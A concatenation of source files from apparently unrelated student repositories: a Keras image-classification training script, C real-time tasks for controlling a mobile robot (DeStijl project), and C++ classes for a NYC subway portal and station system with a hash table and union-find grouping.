#set path of training example
train_path = 'dataset/train'
val_path = 'dataset/validation'
#create model
model = tf.keras.models.Sequential([
tf.keras.layers.Conv2D(32, (3,3), activation='relu', input_shape=(224, 224, 3)),
tf.keras.layers.MaxPooling2D(2, 2),
tf.keras.layers.Conv2D(32, (3,3), activation='relu'),
tf.keras.layers.MaxPooling2D(2,2),
tf.keras.layers.Conv2D(32, (3,3), activation='relu'),
tf.keras.layers.MaxPooling2D(2,2),
tf.keras.layers.Conv2D(64, (3,3), activation='relu'),
tf.keras.layers.MaxPooling2D(2,2),
tf.keras.layers.Conv2D(64, (3,3), activation='relu'),
tf.keras.layers.MaxPooling2D(2,2),
tf.keras.layers.Conv2D(128, (3,3), activation='relu'),
tf.keras.layers.MaxPooling2D(2,2),
#after 6 layers we use flatten to create single vector along with activation function
tf.keras.layers.Flatten(),
tf.keras.layers.Dense(1024, activation='relu'),
tf.keras.layers.Dense(512, activation='relu'),
#since it's a multi-class hence we'll use softmax activation function.
tf.keras.layers.Dense(x, activation='softmax')
])
#compile model
model.compile(optimizer = 'adam',
loss = 'categorical_crossentropy',metrics=['accuracy'])
train_datagen = ImageDataGenerator(
rescale=1./255.,
shear_range=0.2,
zoom_range=0.2,
horizontal_flip=True,
)
test_datagen = ImageDataGenerator(rescale=1/255)
train_generator = train_datagen.flow_from_directory(
train_path,
target_size = (224,224),
batch_size = 32,
class_mode = 'categorical')
validation_generator = test_datagen.flow_from_directory(
val_path,
target_size = (224,224),
batch_size = 32,
class_mode = 'categorical')
#train
history = model.fit(
train_generator,
steps_per_epoch=10,
epochs=10,
validation_steps=10,
validation_data=validation_generator)
#save model
model.save('mymodel.h5')
| 57278c9fbc9d3807966f9f7af04995bcd9d5c405 | [
"Python"
] | 3 | Python | immohann/Face-Recognition-DL | 6a1ac0bd70eebe2bf44352de329fa443dc7b3d08 | b94472e224223fcfc7e73b364185f197ab8b69da |
refs/heads/master | <repo_name>Ventilateur/DeStijl<file_sep>/global.c
/*
* File: global.h
* Author: pehladik
*
* Created on 21 avril 2011, 12:14
*/
#include "global.h"
RT_TASK tServeur;
RT_TASK tconnect;
RT_TASK tmove;
RT_TASK tenvoyer;
RT_TASK tbatterie;
RT_MUTEX mutexEtatCommRobot;
RT_MUTEX mutexEtatCommMoniteur;
RT_MUTEX mutexMove;
RT_SEM semConnecterRobot;
RT_QUEUE queueMsgGUI;
int etatCommMoniteur = 1;
int etatCommRobot = 1;
DRobot *robot;
DMovement *move;
DServer *serveur;
int MSG_QUEUE_SIZE = 10;
int PRIORITY_TSERVEUR = 30;
int PRIORITY_TCONNECT = 20;
int PRIORITY_TMOVE = 10;
int PRIORITY_TENVOYER = 25;
int PRIORITY_TBATT = 40;
<file_sep>/README.md
# DeStijl
Real-time system project at INSA Toulouse, details can be found here (it's in French):
[Projet DeStijl](http://docplayer.fr/1463912-Projet-de-stijl-plate-forme-pour-robots-mobiles.html)
<file_sep>/fonctions.c
#include "fonctions.h"
int write_in_queue(RT_QUEUE *msgQueue, void * data, int size);
void envoyer(void * arg) {
DMessage *msg;
int err, status;
while (1) {
rt_printf("verification de la communication moni-serveur...\n");
status = getEtatCommMoniteur();
if (status = STATUS_OK) {
rt_printf("communication moni-serveur ok\n")
rt_printf("tenvoyer : Attente d'un message\n");
if ((err = rt_queue_read(&queueMsgGUI, &msg, sizeof (DMessage), TM_INFINITE)) >= 0) {
rt_printf("tenvoyer : envoi d'un message au moniteur\n");
status = serveur->send(serveur, msg);
msg->free(msg);
if (status <= 0) {
serveur->close(serveur);
setEtatCommMoniteur(1);
}
} else rt_printf("Error msg queue write: %s\n", strerror(-err));
} else {
serveur->close(serveur);
setEtatCommMoniteur(1);
}
}
}
void connecter(void * arg) {
int status;
int counter = 0;
rt_printf("tconnect : Debut de l'exécution de tconnect\n");
while (1) {
rt_printf("tconnect : attente du sémarphore semConnecterRobot\n");
rt_printf("tconnect : ouverture de la communication avec le robot...\n");
rt_sem_p(&semConnecterRobot, TM_INFINITE);
status = getEtatCommRobot();
if (status == STATUS_OK) {
// =======Connecter robot======= //
rt_mutex_acquire(&mutexRobot, TM_INFINITE);
status = robot->open_device(robot);
while (status != STATUS_OK && counter < 3) {
counter++;
rt_printf("tconnect : ouverture de la comm echoue, retenter...\n");
status = robot->open_device(robot);
}
counter = 0;
rt_mutex_release(&mutexRobot);
setEtatCommRobot(status);
// =====Fin connecter robot===== //
if (status == STATUS_OK) {
rt_printf("tconnect : ouverture de la comm avec robot OK\n");
rt_printf("tconnect : demarrer robot...\n");
// =======Demarrer robot======= //
rt_mutex_acquire(&mutexRobot, TM_INFINITE);
status = robot->start(robot);
while (status != STATUS_OK && counter < 3) {
counter++;
rt_printf("tconnect : demarrage du robot echoue, retenter...\n");
status = robot->start(robot);
}
counter = 0;
rt_mutex_release(&mutexRobot);
setEtatCommRobot(status);
// =====Fin demarrer robot===== //
if (status == STATUS_OK) rt_printf("tconnect : robot démarrer et lancer watchdog\n");
else rt_printf("tconnect : connexion perdue, echouer de demarrer robot\n");
}
} else rt_printf("tconnect : connexion deja perdue\n");
// Envoyer le message au moniteur
message = d_new_message();
message->put_state(message, status);
rt_printf("tconnecter : Envoi message\n");
message->print(message, 100);
if (write_in_queue(&queueMsgGUI, message, sizeof (DMessage)) < 0) {
message->free(message);
}
}
}
void rafraichirWatchdog(void *arg) {
int status = 0;
int counter = 0;
rt_printf("Debut de l'execution de watchdog, periode = 1s\n");
while (1) {
rt_sem_p(&semWatchdogReload, TM_INFINITE);
rt_task_set_periodic(NULL, TM_NOW, 1000000000);
status = getEtatCommRobot();
if (status == STATUS_OK) {
// =======Rafraichir le Watchdog======= //
rt_mutex_acquire(&mutexRobot, TM_INFINITE);
status = robot->reload_wdt(robot);
while (status != STATUS_OK && counter < 3) {
counter++;
rt_printf("twatchdog : rafraichissement du watchdog echoue, retenter...\n");
status = robot->reload_wdt(robot);
}
counter = 0;
rt_mutex_release(&mutexRobot);
setEtatCommRobot(status);
// =====Fin rafraichir le Watchdog===== //
if (status == STATUS_OK) {
rt_printf("twatchdog : watchdog rafraichi\n");
} else {
rt_printf("twatchdog : connexion perdue, incapable de rafraichir watchdog\n");
rt_task_set_periodic(NULL, TM_NOW, TM_INFINITE);
}
} else rt_printf("twatchdog : connexion deja perdue\n");
// Envoyer message au moniteur
rt_printf("twatchdog : Envoi message\n");
sendMsgStatus(status);
}
}
void communiquer(void *arg) {
DMessage *msg = d_new_message();
int size = 1;
int status = 1;
int num_msg = 0;
/* size <=0 si la communication du robt est perdue
var2 > 0 si la communication du robot est bonne */
rt_mutex_acquire(&mutexServeur, TM_INFINITE);
rt_printf("tserver : Debut de l'execution du serveur\n");
serveur->open(serveur, "8000");
rt_printf("tserver : Connexion\n");
rt_mutex_release(&mutexServeur);
setEtatCommMoniteur(0);
// La communication entre le robot et le superviseur est bonne
while (size > 0) {
rt_printf("tserver : Attente d'un message\n");
size = serveur->receive(serveur, msg);
status = getEtatCommMoniteur()
num_msg++;
// Si la communication est toujours bonne
if (size > 0 && !status) {
switch (msg->get_type(msg)) {
case MESSAGE_TYPE_ACTION:
rt_printf("tserver : Le message %d recu est une action\n",
num_msg);
DAction *action = d_new_action();
action->from_message(action, msg);
switch (action->get_order(action)) {
case ACTION_CONNECT_ROBOT:
rt_printf("tserver : Action connecter robot\n");
rt_sem_v(&semConnecterRobot);
break;
case ACTION_FIND_ARENA:
break;
case ACTION_ARENA_FAILED:
break;
case ACTION_ARENA_FOUND:
break;
case ACTION_COMPUTE_CONTINUOUSLY_POSITION:
break;
case ACTION_STOP_COMPUTE_POSITION:
break;
}
break;
case MESSAGE_TYPE_MOVEMENT:
rt_printf("tserver : Le message recu %d est un mouvement\n", num_msg);
rt_mutex_acquire(&mutexMove, TM_INFINITE);
move->from_message(move, msg);
move->print(move);
rt_mutex_release(&mutexMove);
break;
}
}
}
}
void deplacer(void *arg) {
int status = 1;
int gauche;
int droite;
int counter = 0;
DMessage *message;
rt_printf("tmove : Debut de l'éxecution de periodique à 1s\n");
rt_task_set_periodic(NULL, TM_NOW, 1000000000);
while (1) {
/* Attente de l'activation périodique */
rt_task_wait_period(NULL);
rt_printf("tmove : Activation périodique\n");
status = getEtatCommRobot()
if (status == STATUS_OK) {
rt_mutex_acquire(&mutexMove, TM_INFINITE);
switch (move->get_direction(move)) {
case DIRECTION_FORWARD:
gauche = MOTEUR_ARRIERE_LENT;
droite = MOTEUR_ARRIERE_LENT;
break;
case DIRECTION_LEFT:
gauche = MOTEUR_ARRIERE_LENT;
droite = MOTEUR_AVANT_LENT;
break;
case DIRECTION_RIGHT:
gauche = MOTEUR_AVANT_LENT;
droite = MOTEUR_ARRIERE_LENT;
break;
case DIRECTION_STOP:
gauche = MOTEUR_STOP;
droite = MOTEUR_STOP;
break;
case DIRECTION_STRAIGHT:
gauche = MOTEUR_AVANT_LENT;
droite = MOTEUR_AVANT_LENT;
break;
default:
gauche = MOTEUR_STOP;
droite = MOTEUR_STOP;
break;
}
rt_mutex_release(&mutexMove);
// =========== Envoyer la commande ============= //
rt_mutex_acquire(&mutexRobot, TM_INFINITE);
status = robot->set_motors(robot, gauche, droite);
while (status != STATUS_OK && counter < 3) {
counter++;
rt_printf("tdeplacer : envoie commande echoue, retenter...\n");
status = robot->set_motors(robot, gauche, droite);
}
counter = 0;
rt_mutex_release(&mutexRobot);
setEtatCommRobot(status);
// ==================== Fin ===================== //
}
// Envoyer message au moniteur
rt_printf("tmove : Envoi message\n");
sendMsgStatus(status);
}
}
void verifierBatterie(void* arg) {
int status = 0;
rt_printf("tbatterie : Debut de l'éxecution de periodique à 250ms\n");
rt_task_set_periodic(NULL, TM_NOW, 250000000);
while (1) {
rt_task_wait_period(NULL);
status = getEtatCommRobot();
if (status == STATUS_OK) {
// ============ Get etat batterie ============== //
rt_mutex_acquire(&mutexRobot, TM_INFINITE);
status = robot->get_vbat(robot, &vbat);
while (status != STATUS_OK && counter < 3) {
counter++;
rt_printf("tbatterie : get etat batt echoue, retenter...\n");
status = robot->get_vbat(robot, &vbat);
}
counter = 0;
rt_mutex_release(&mutexRobot);
setEtatCommRobot(status);
// ==================== Fin ===================== //
} else rt_printf("tbatterie : communication serveur-robot perdue!!!\n");
if (status == STATUS_OK) {
rt_printf("tbatterie : nivo batterie :%d\n", vbat);
battery->set_level(battery, vbat);
rt_printf("tbatterie : envoie msg au moniteur...\n");
sendMsgBatt();
}
sendMsgStatus(status);
}
}
int write_in_queue(RT_QUEUE *msgQueue, void * data, int size) {
void *msg;
int err;
msg = rt_queue_alloc(msgQueue, size);
memcpy(msg, &data, size);
if ((err = rt_queue_send(msgQueue, msg, sizeof (DMessage), Q_NORMAL)) < 0) {
rt_printf("Error msg queue send: %s\n", strerror(-err));
}
rt_queue_free(&queueMsgGUI, msg);
return err;
}
int getEtatCommRobot() {
int status = 0;
rt_mutex_acquire(&mutexEtatCommRobot, TM_INFINITE);
status = etatCommRobot;
rt_mutex_release(&mutexEtatCommRobot);
return status;
}
void setEtatCommRobot(int status) {
rt_mutex_acquire(&mutexEtatCommRobot, TM_INFINITE);
etatCommRobot = status;
rt_mutex_release(&mutexEtatCommRobot);
}
int getEtatCommMoniteur() {
int status = 0;
rt_mutex_acquire(&mutexEtatCommMoniteur, TM_INFINITE);
status = etatCommMoniteur;
rt_mutex_release(&mutexEtatCommMoniteur);
return status;
}
void setEtatCommMoniteur(int status) {
rt_mutex_acquire(&mutexEtatCommMoniteur, TM_INFINITE);
etatCommMoniteur = status;
rt_mutex_release(&mutexEtatCommMoniteur);
}
void sendMsgStatus(int status) {
DMessage *message;
message = d_new_message();
message->put_state(message, status);
message->print(message, 100);
if (write_in_queue(&queueMsgGUI, message, sizeof (DMessage)) < 0) message->free(message);
}
void sendMsgBatt() {
DMessage *message;
message = d_new_message();
message->put_battery_level(message, battery);
message->print(message, 100);
if (write_in_queue(&queueMsgGUI, message, sizeof (DMessage)) < 0) message->free(message);
}
| 35ce27fe8dcadda27b51ebeb190b0694aa213810 | [
"Markdown",
"C"
] | 3 | C | Ventilateur/DeStijl | 0c23d7aa414fa4766037a30ab8c3133e0f8b8d8c | 8ec0c18de64a9a495d75a5312235e2217893adf7 |
refs/heads/master | <file_sep>//: Comment Driven Development
import UIKit
/*
Minesweeper example
? _ _ 1 1 1
_ _ _ 2 X 2
_ 1 1 3 X 2
_ 1 X 2 1 1
_ 1 1 1 _ _
*/
// Bad: Poor naming, no comments
let Max:Int = 3
func checkCompletionBadVariables(val:[[String]]) -> Bool {
var nusp:Int = 0
var sc:Bool = false
var bf:Int = 0
for x in val {
for y in x {
switch y {
case "X":
bf += 1
case "?":
sc = true
default:
nusp += 1
}
}
}
return bf == Max && !sc
}
//Better: Good Variable Names, still no comments or understanding of intent
let NumBombs:Int = 3
func checkCompletionGoodVariables(board:[[String]]) -> Bool {
var numUncoveredSpaces:Int = 0
var hasCoveredSpaces:Bool = false
var bombsFound:Int = 0
for row in board {
for column in row {
switch column {
case "X":
bombsFound += 1
case "?":
hasCoveredSpaces = true
default:
numUncoveredSpaces += 1
}
}
}
return bombsFound == NumBombs && !hasCoveredSpaces
}
// This function should let us check if a board is completed and tell the user if it is completed. A board is complete when all of the bombs are found, and all of the spaces are uncovered.
func checkCompletionCDDWithCode(board:[[String]]) -> Bool {
// Setup variables to track if spaces are uncovered, and number of bombs found
// For each item in a board, check to see if it is a bomb or uncovered
// If its a bomb, keep track of total number of bombs
// If there are spaces that haven't been uncovered, return false
// If there are more or less bombs than the number of bombs for the level, return false
return false
}
// This function should let us check if a board is completed and tell the user if it is completed. A board is complete when all of the bombs are found, and all of the spaces are uncovered.
func checkCompletionCDDPreCode(board:[[String]]) -> Bool {
// Setup variables to track if spaces are uncovered, and number of bombs found
var hasCoveredSpaces:Bool = false
var bombsFound:Int = 0
// For each item in a board, check to see if it is a bomb or uncovered
for row in board {
for column in row {
// If its a bomb, keep track of total number of bombs
if column == "X" {
bombsFound += 1
}
// If there are spaces that haven't been uncovered, return false
if column == "?" {
return false
}
}
}
// If there are more or less bombs than the number of bombs for the level, return false
return bombsFound == NumBombs
}
| 6204b115ed1888992f0d6bf17d81e0ba898d4607 | [
"Swift"
] | 1 | Swift | seanbdoherty/commentdrivendevelopment-code | 1b823d345d140095941b39a1ff6ed08e24f1fa4d | 22252676cd698028937b128fc7288ffec20d2ba3 |
refs/heads/master | <repo_name>AjaniStewart/project_2<file_sep>/subway_portal.h
/******************************************************************************
Title : subway_portal.h
Author : <NAME>
Created on : April 28, 2018
Description : Interface file for the SubwayPortal object
Purpose : Encapsulates data and methods of a subway portal
Usage :
Build with :
Modifications :
******************************************************************************/
#ifndef SUBWAY_PORTAL_H_
#define SUBWAY_PORTAL_H_
#include <string>
#include "_subway_portal.h"
#include "subway_route.h"
#include "gps.h"
class SubwayPortal : public _SubwayPortal {
public:
//delclarations of virtual functions in interface file
//default constructor
//initializes private members with default values
SubwayPortal();
// data_row is a single row in the csv file
SubwayPortal( std::string data_row );
// move assignment operator
SubwayPortal& operator=(SubwayPortal&& other) noexcept;
// move constructor
SubwayPortal(SubwayPortal&& other) noexcept;
// copy constructor
SubwayPortal(const SubwayPortal& other);
// copy assignment operator
SubwayPortal& operator=(const SubwayPortal& other);
// destructor
~SubwayPortal() = default;
/** returns the distance between the two portals */
friend double distance_between( SubwayPortal portal1,
SubwayPortal portal2);
/** returns true if the two portals have the exact same set of routes */
friend bool same_routes( SubwayPortal portal1,
SubwayPortal portal2);
/** returns true if the two portals belong to the same station */
friend bool same_station( SubwayPortal portal1,
SubwayPortal portal2);
friend ostream & operator<< ( ostream & out, SubwayPortal e);
friend class SubwayStation;
friend class SubwaySystem;
private:
double distance_from( double latitude, double longitude );
std::string name() const;
bool can_access( route_set route ) const;
GPS p_location() const;
GPS s_location() const;
route_set routes() const;
std::string p_name;
//based on data dictionary
std::string division;
std::string line;
std::string station_name;
double station_latitude;
double station_longitude;
route_set p_routes;
std::string entrance_type;
bool entry;
bool exit_only;
bool vending;
std::string staffing;
std::string staff_hours;
bool ada;
std::string ada_notes;
bool free_crossover;
std::string north_south_street;
std::string east_west_street;
std::string corner;
int id;
double entrance_latitude;
double entrance_longitude;
GPS station_location;
GPS entrance_location;
};
#endif //SUBWAY_PORTAL_H_<file_sep>/subway_route.cpp
/******************************************************************************
Title : subway_routes.cpp
Author : <NAME>
Created on : April 27, 2019
Description : implementqtion file for the SubwayRoute object
Purpose : Encapsulates data and methods of a set of subway routes
Usage :
Build with : -std=c++11
Modifications :
******************************************************************************/
#include <stdexcept>
#include "subway_route.h"
/*******************************************************************************
* Functions related to subway routes *
******************************************************************************/
void to_upper( std::string& s) {
for (char& element : s) {
element = toupper(element);
}
}
bool is_route_id( std::string s ) {
to_upper(s);
if (s == "FS" || s == "GS")
return true;
return ( (s.c_str()[0] >= 'A' && s.c_str()[0] <= 'Z') ||
(s.c_str()[0] >= '1' && s.c_str()[0] <= '7') );
}
std::string str_from_routeset( route_set s ) {
std::string routes("");
for (int i = 1; i < 36; ++i) {
if ((s & 1) == 1) {
routes += int2route_id(i) + " ";
}
s = s >> 1;
}
//remove trailing space
routes.pop_back();
return routes;
}
//maps number trains to themselves e.g. 1 train = 1
//FS = 8
//GS = 9
//letter trains start with a = 10
//invalid strings get -1
int routestring2int( std::string s ) {
to_upper(s);
if (is_route_id(s)) {
if (s == "FS") { return 8; }
else if (s == "GS") { return 9; }
else {
try {
return std::stoi(s);
}
catch (const std::invalid_argument& e) {
return static_cast<int>(*(s.c_str())) - 55;
}
}
} else {
return -1;
}
}
//inverse of above
std::string int2route_id ( int k ) {
if (k > 35 || k < 1) { return ""; }
if (k >= 1 && k <= 7) { return std::to_string(k); }
else if (k == 8) { return "FS"; }
else if (k == 9) { return "GS"; }
else { return std::string(1, static_cast<char>(k + 55)); }
}
SubwayRoute::SubwayRoute() { }
std::list<int> SubwayRoute::station_list() const {
return stations;
}
void SubwayRoute::add_station_to_route( int station_id ) {
stations.push_back(station_id);
}
route_set SubwayRoute::get_routeset() const {
return routes;
}<file_sep>/subway_station.cpp
/******************************************************************************
Title : subway_station.cpp
Author : <NAME>
Created on : May 2, 2018
Description : implementation file for the SubwayStation object
Purpose : Encapsulates data and methods of a subway station
Usage :
Build with : -std=c++11
Modifications : added overloading streaming operator, add_children
******************************************************************************/
#include <algorithm>
#include "subway_station.h"
#include "subway_portal.h"
SubwayStation::SubwayStation() : m_parent_id(-1), m_portal_name("") { }
SubwayStation::SubwayStation( SubwayPortal p ) : m_parent_id(-1),
m_portal_name( p.p_name ), portal(p) {
station_names.insert( p.station_name );
m_primary_name = p.station_name;
}
//the station is in the middle of a messy divorce
//hopefully it can get past this
//it just wants a happy family
//play with its mom and dad
//but its mom is a drug addict and its dad cant take it anymore
//the dad won custody
//but the mom shows up from time to time
//mostly to bum money from the station under the pretext that shes changed
//she never changed
void SubwayStation::set_parent( int new_parent ) {
m_parent_id = new_parent;
}
void SubwayStation::add_child( int new_child ) {
children.push_back( new_child );
}
void SubwayStation::add_children( std::list<int> new_children ) {
std::for_each(new_children.begin(), new_children.end(), [&](int child) {
children.push_back(child);
});
}
int SubwayStation::add_station_name( std::string name ) {
if ( station_names.size() == 0) { m_primary_name = name; }
size_t cur_size = station_names.size();
station_names.insert( name );
return cur_size != station_names.size();
}
std::list<std::string> SubwayStation::names() const {
std::list<std::string> name_list;
for ( auto it = station_names.begin(); it != station_names.end(); ++it ) {
name_list.push_back(*it);
}
return name_list;
}
std::string SubwayStation::primary_name() const {
return m_primary_name;
}
int SubwayStation::parent_id() const {
return m_parent_id;
}
std::list<int> SubwayStation::portal_list() const {
return children;
}
std::string SubwayStation::portal_name() const {
return m_portal_name;
}
void SubwayStation::get_portal( SubwayPortal& p ) const {
p = portal;
}
bool connected( SubwayStation s1, SubwayStation s2 ) {
return same_routes( s1.portal, s2.portal ) &&
distance_between( s1.portal, s2.portal ) <= DISTANCE_THRESHOLD;
}
std::ostream& operator<<( std::ostream& out, SubwayStation s) {
std::for_each(s.station_names.begin(), s.station_names.end(), [&](const std::string& s) {
out << s;
});
return out;
}<file_sep>/subway_station.h
/******************************************************************************
Title : subway_station.h
Author : <NAME>
Created on : April 30, 2018
Description : Interface file for the SubwayStation object
Purpose : Encapsulates data and methods of a subway station
Usage :
Build with :
Modifications : overloaded streaming operator
******************************************************************************/
#ifndef SUBWAY_STATION_H_
#define SUBWAY_STATION_H_
#include <string>
#include <list>
#include <set>
#include <iostream>
#include "subway_portal.h"
#include "subway_route.h"
#define DISTANCE_THRESHOLD 0.32
class SubwayStation {
public:
/** default constructor
* initializes all private members with suitable defaults
*/
SubwayStation();
/** parameterized constructor that creates a SubwayStation object
* from a portal
* it makes the portal the embedded portal
*/
SubwayStation( SubwayPortal portal );
/** set_parent() sets the parent id of the station
* @param int [in] the id of the parent
*/
void set_parent( int new_parent );
/** add_child() adds a new child to the station's list of children
* @param int [int] the index of the child
*/
void add_child( int new_child );
/** add_children adds a list of children to the station's list of children
* @param list<int> list of indicies of children
*/
void add_children( std::list<int>children );
/** A friend function that determines when two stations are connected
* @param SubwayStation [in] s1
* @param SubwayStation [in] s2
* @return bool true if is connected based on heuristic
*/
friend bool connected( SubwayStation s1, SubwayStation s2 );
/** add_station_name() adds a new name to station
* does not add a name if it already exists
* @param string [in] name to be added
* @return 1 if name is added, 0 if not
*/
int add_station_name( std::string name );
/** names() returns a list of the names of the station as a list of strings*/
std::list<std::string> names() const;
//primary_name() returns the first station name in the list of names
std::string primary_name() const;
//parent_id is the index in the array of the parent of this station
int parent_id() const;
//portal_list returns a list of the ids in the list of the portals in this station set
std::list<int> portal_list() const;
//returns the name of the embedded portal
std::string portal_name() const;
//returns the embedded portal
void get_portal( SubwayPortal& portal ) const;
friend std::ostream& operator<<( std::ostream& out, SubwayStation s);
private:
int m_parent_id;
std::set<std::string> station_names;
std::list<int> children;
std::string m_portal_name;
SubwayPortal portal;
std::string m_primary_name;
};
#endif //SUBWAY_STATION_H_<file_sep>/gps.cpp
/******************************************************************************
Title : gps.cpp
Author : <NAME>
Created on : April 6, 2019
Description : The implementation of the gps class
Purpose :
Usage :
Build with :
Modifications : -lm
******************************************************************************/
#include <iostream>
#include <cmath>
#include "gps.h"
//radius of the earth in km
const double R = 6372.8;
//conversion of degrees to rads
const double TO_RAD = M_PI / 180.0;
GPS::GPS(double lon, double lat) noexcept(false) {
if (lon > 180 || lon < -180 || lat > 90 || lat < -90)
throw BadPoint();
longitude = lon;
latitude = lat;
}
GPS::GPS(const GPS& location) {
if (location.longitude > 180 || location.longitude < -180 ||
location.latitude > 90 || location.latitude < -90)
throw BadPoint();
longitude = location.longitude;
latitude = location.latitude;
}
void GPS::operator=(const GPS& location) {
longitude = location.longitude;
latitude = location.latitude;
}
//Calculate distance on a sphere using Haversine Formula
double distance_between(GPS point1, GPS point2) {
double lat1 = point1.latitude * TO_RAD;
double lat2 = point2.latitude * TO_RAD;
double lon1 = point1.longitude * TO_RAD;
double lon2 = point2.longitude * TO_RAD;
double dLat = (lat2 - lat1) / 2;
double dLon = (lon2 - lon1) / 2;
double a = sin(dLat);
double b = sin(dLon);
return 2 * R * asin(sqrt(a*a + cos(lat1) * cos(lat2) * b*b));
}
std::ostream& operator<<(std::ostream& out, GPS point) {
out << "(" << point.latitude << " " << point.longitude << ")";
return out;
}
<file_sep>/hash_table.h
/******************************************************************************
Title : hash_table.h
Author : <NAME>
Created on : April 12, 2019
Description : Defines a hash table class
Purpose :
Usage :
Build with :
Modifications : overloads find
******************************************************************************/
#ifndef HASH_TABLE_H
#define HASH_TABLE_H
#include <iostream>
#include <vector>
#include "_hash_table.h"
#include "_hash_item.h"
class HashTable : public __HashTable {
public:
//default constructor for hash table
//defaults the size of the hash table to the constant INITIAL_SIZE
HashTable();
//parameterized constructor for hash_table
//initializes the size of the hash table to init_size
//actual size will be the smallest prime number greater than or equal to init_size
HashTable(int init_size);
/** find() searches in table for given item
* @precondition: item's key value is initialized
* @postcondition: if matching item is found, it is filled with value from
* table.
* @param ItemType [in,out] item : item to search for
* @return int 0 if item is not in table, and 1 if it is
*/
int find (__ItemType& item) const;
/** insert() inserts the given item into the table
* @precondition: item is initialized
* @postcondition: if item is not in table already, it is inserted
* @param ItemType [in] item : item to insert
* @return int 0 if item is not inserted in table, and 1 if it is
*/
/** find() searches in table for given string
* @postcondition: if matching item is found, it is filled with value from
* table.
* @param string [in] s : string to search for
* @return int -1 if item is not in table, and position of the associated value of s if it is
*/
int find ( std::string s ) const;
int insert (__ItemType item);
/** remove() removes the specified item from the table, if it is there
* @precondition: item's key is initialized
* @postcondition: if item was in table already, it is removed
* @param ItemType [in] item : item to remove
* @return int 0 if item is not removed from the table, and 1 if it is
*/
int remove (__ItemType item);
/** size() returns the number of items in the table
* @precondition: none
* @postcondition: none
* @return int the number of items in the table
*/
int size() const;
/** listall() lists all items currently in the table
* @note This function writes each item in the tabel onto the given stream.
* Items should be written one per line, in whatever format the
* underlying _ItemType output operator formats them.
* @param ostream [in,out] the stream onto which items are written
* @return int the number of items written to the stream
*/
int listall (std::ostream& os) const;
private:
enum States { ACTIVE, EMPTY, DELETED };
struct data_t {
States state;
__ItemType item;
};
//This implementation will use quadratic probing
std::vector<data_t> hash_table;
//the number of items in the table
size_t current_size;
//gets the smallest prime number that is greater than n
int get_next_prime(int n);
//doubles the size of the hash table
//and rehashes the table
void rehash();
//find where the item WOULD be in the hash table
int find_position(__ItemType& item) const;
//used for lazy deletion
};
#endif //HASH_TABLE_H
<file_sep>/subway_system.cpp
/******************************************************************************
Title : subway_system.cpp
Author : <NAME>
Created on : May 5, 2019
Description : implementation file for the SubwaySystem object
Purpose : Encapsulates data and methods of a subway system
Usage :
Build with : -std=c++11
Modifications :
******************************************************************************/
#include <iostream>
#include <string>
#include <algorithm>
#include "subway_system.h"
#include "subway_portal.h"
#include "subway_station.h"
#include "_hash_item.h"
#include "gps.h"
#include "hash_table.h"
typedef __ItemType item_t;
SubwaySystem::SubwaySystem() : number_of_portals(0) {
for (int i = 0; i < MAX_ROUTES; ++i)
route_masks[i].routes = (1 << i);
}
int SubwaySystem::add_portal( SubwayPortal portal ) {
item_t p;
p.set(portal.p_name, number_of_portals);
int result = portal_hash.insert(p);
if (0 == result) {
return 0;
} else {
stations.push_back( SubwayStation( portal ) );
//add station routes to route mask
for ( int i = 0; i < MAX_ROUTES; ++i )
if ( portal.p_routes & (1 << i) )
route_masks[i].add_station_to_route( number_of_portals );
++number_of_portals;
return 1;
}
}
void SubwaySystem::list_all_stations( std::ostream& out ) {
station_hash.listall( out );
}
void SubwaySystem::list_all_portals( std::ostream& out, std::string station_name ) {
int position = portal_hash.find( station_name );
SubwayStation s = stations[position];
std::for_each(s.names().begin(), s.names().end(), [&]( const std::string& name ) {
out << name;
});
}
void SubwaySystem::list_stations_of_route( std::ostream& out, route_id route ) {
auto station_list = route_masks[ routestring2int( route ) - 1 ].station_list();
std::for_each(station_list.begin(), station_list.end(), [&]( int index ) {
out << stations[index];
});
}
int SubwaySystem::form_stations() {
// i need to combine stations that are connected into one set
// i need to add the children of the roots of the set to the parents
// then hash the roots in station_hash
//naive method
for ( size_t i = 0; i < stations.size() - 1; ++i ) {
int root = find_station(i);
for ( size_t j = i + 1; j < stations.size(); ++j ) {
int root2 = find_station(j);
if (connected(stations[root], stations[root2])) {
union_stations(root, root2);
}
}
}
//add the children
for ( size_t i = 0; i < stations.size(); ++i ) {
if (stations[i].parent_id() > 0) {
int root = find_station(i);
stations[root].add_child(i);
}
}
//add station names
for (size_t i = 0; i < stations.size(); ++i) {
if ( stations[i].parent_id() < 0 ) {
const auto p_list = stations[i].portal_list();
std::for_each( p_list.begin(), p_list.end(), [&](int j) {
if ( stations[j].primary_name() != "" )
stations[i].add_station_name( stations[j].primary_name() );
});
}
}
//hashing disjoint stations
int num_disjoint_sets = 0;
for(size_t i = 0; i < stations.size(); ++i) {
if ( stations[i].parent_id() < 0 ) {
++num_disjoint_sets;
item_t s;
auto name_list = stations[i].names();
std::for_each(name_list.begin(), name_list.end(), [&](const std::string& name) {
s.set(name, i);
station_hash.insert(s);
});
}
}
return num_disjoint_sets;
}
bool SubwaySystem::get_portal( std::string name_to_find, SubwayPortal& portal ) {
int position = portal_hash.find( name_to_find );
if ( -1 == position ) {
return false;
} else {
stations[ position ].get_portal( portal );
return true;
}
}
SubwayPortal SubwaySystem::find_nearest_portal( double latitude, double longitude ) {
GPS point { latitude, longitude };
double min_distance = 1000000;
SubwayPortal nearest_p;
for (size_t i = 0; i < stations.size(); ++i) {
SubwayPortal cur_portal;
stations[i].get_portal(cur_portal);
double distance = distance_between(cur_portal.p_location(), point);
if (distance < min_distance) {
min_distance = distance;
nearest_p = cur_portal;
}
}
return nearest_p;
}
std::string SubwaySystem::nearest_portal( double latitude, double longitude ) {
return find_nearest_portal( latitude, longitude ).p_name;
}
std::string SubwaySystem::nearest_routes( double latitude, double longitude ) {
SubwayPortal p = find_nearest_portal( latitude, longitude );
return str_from_routeset( p.routes() );
}
//credit to <NAME> for union/find algorithms
int SubwaySystem::find_station( int index ) {
if ( stations[index].parent_id() < 0 )
return index;
else {
int temp = find_station( stations[index].parent_id() );
stations[index].set_parent( temp );
return temp;
}
}
void SubwaySystem::union_stations( int s1, int s2 ) {
if ( s1 != s2 ) {
// s2 is deeper
if ( stations[s2].parent_id() < stations[s1].parent_id() ) {
stations[s2].set_parent( stations[s1].parent_id() + stations[s2].parent_id() );
stations[s1].set_parent( s2 );
} else {
stations[s1].set_parent( stations[s2].parent_id() + stations[s1].parent_id() );
stations[s2].set_parent( s1 );
}
}
}
<file_sep>/hash_item.cpp
/******************************************************************************
Title : hash_item.cpp
Author : <NAME>
Created on : March 31, 2019
